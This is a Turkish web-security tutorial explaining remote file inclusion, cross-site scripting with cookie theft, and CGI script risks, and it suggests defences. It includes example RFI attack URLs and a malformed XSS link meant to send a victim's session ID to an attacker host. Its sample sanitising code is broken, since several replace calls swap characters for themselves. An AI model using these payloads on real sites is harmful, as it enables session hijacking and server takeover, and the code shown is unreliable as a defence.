Internet Güvenliği - Devamı -
Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir RFI açığı barındıran site;
http://www.example.com/path_to_qnews/q-news.php?id=Attacker List Patch]
http://www.example.com/path_to_phpgreetz/content.php?content= [Attacker List Patch]
http://www.example.com/PATH/admin/plog-adminfunctions.php?configbasedir=Attacker ListPatch]
Saldırıya karşı alınabilecek önlemler nelerdir? Nasıl Korunulabilir?
Bu saldırı temel olarak sistemde yapılan kodlama hatalarından kaynaklanmaktadır. O yüzden kodlama sürecinde yapılan hata olasılığı göz önüne alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir. Sizin sisteminizde bu açık yoksa bile, eğer sunucuda bu açığı barındıran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz da hacklenme ile karşı karşıya gelebilir. O yüzden seçtiğiniz sunucuların da yeteri kadar güvende olduğundan emin olmalısınız.
Geçelim bir başka yönteme.. Son zamanlarda çok sık kullanılan ve genellikle Hotmail servisinde karşılaşılan Cross Site Scripting (XSS) Saldırılarının kullanılarak hack yapılması hatta bu yöntem ile Domain Reg. Mail (daha sonra değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyı tehlikeli yapmaya yeterlidir.
XSS Saldırıları temel olarak Cookie’leri baz almaktadır. Cookie’ler, kendinize kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan tasarruf yapmanızı sağlar. Siteye yeniden girdiğinizde sistem daha önceden verdiğiniz cevapları hatırlar. Bilgileri değiştirdiğiniz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatırlar.
Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu, bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar. Eğer varsa, cookie’ler aracılığı ile size sabit bir ID atanır. Eğer sisteminizde, sunucuya ait cookie yoksa size ayrı bir SessionID atanır. Kaydettiği bu dosya hem sisteme, hem sizin bilgisayarınıza işlenir. Cookie’lerin formatı aşağıda verdiğimiz gibidir;
Domain : False : / : False : Bitiş Tarihi : Name : Value
Sırasıyla tanımları;
Domain: Cookie’yi sisteminize kaydeden Web sayfasının adını içerir.
False: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup olmadığını
belirleyen bir bayraktır.
/ : URL’nin adresini gösterir.
False: SSL bağlantıları için kullanılır.
Bitiş Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki süresini belirler.
Name: Değişkenin adı
Value: Değişkenin değeri
Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere ve güvenlik açıklarına sebebiyet vermektedir. Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayıtlı olan cookie’leri kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir.
İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır. Kısaca Request ile kullanıcıdan alınan verilerin sayfa içerisinde yazdırılması ile oluşan Cross Site Scripting yani XSS açığıdır. Örneğin; QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri;
http://www.hedefsite/Default.Asp?Page=1yada
http://www.hedefsite/Product.Asp?id=1http://www.hedefsite/Default.Asp?Kategori=Haber gibi.
Attacker’lar, arama ve haber modüllerinde, profil panellerinde..vs bulunan bu sistem hatası sayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir.
Ayrıca Attacker, HTML tabanlı bir e-posta içine veya hazırladığı web sayfasına özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini hedefin URL’de tanımadığı adrese gönderecektir. Örneğin; cyber-security.org’a üye olduğunuzu varsayalım. Bu siteye kullanıcı adınızla giriş yaptığınızda yeni bir session oluşturmuş oldunuz. Ve tam bu esnada size gelen bir e-posta’da ;
<a href =
http://www.cyber-warrior.com?loginname=x-Master=<SCRIPT> Document.write(\\\\\\\\\\\\\\\\\\’img src= "
http://www.x-master">
yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız. Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi, x.master.biz’e göndermiş oluyorsunuz.
Cross Site Scripting saldırılarına karşı alınabilecek önlemler nelerdir peki?
Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde Temizleyin ve Request verilerini alırken mutlaka tam sayıya çevirin…
Recid = CInt(Trim(Server.HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tırnak
Recid = Replace(Recid, Chr(10) , "") ’Satır Başı
Recid = Replace(Recid, Chr(34) , "") ’çift tırnak
* ASP.NET ’de
Web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ " gibi karakterleri sistem
kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri
etkili olmaz
<System.Web>
<Pages validateRequest="True"></Pages>
</System.Web>
IPS Kullanıyor iseniz, Yeni imza oluşturup;
Application Layer / HTTP / HTTP.URL_DECODED Protokolüne;
’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz...
Kullanmış olduğunuz Script’lere karşı da Attacker’lar saldırı yapmaktan çekinmeyeceklerdir. O yüzden script güvenliği de büyük önem taşımaktadır. Örnek olarak CGI Script’ler’e değinecek olursak, başlı başına CGI Saldırıları adlı konuyu ele alabiliriz.
CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir.
CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir. Bu yüzden, CGI kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.
CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.
Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.
C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapılar bile bırakılabilir.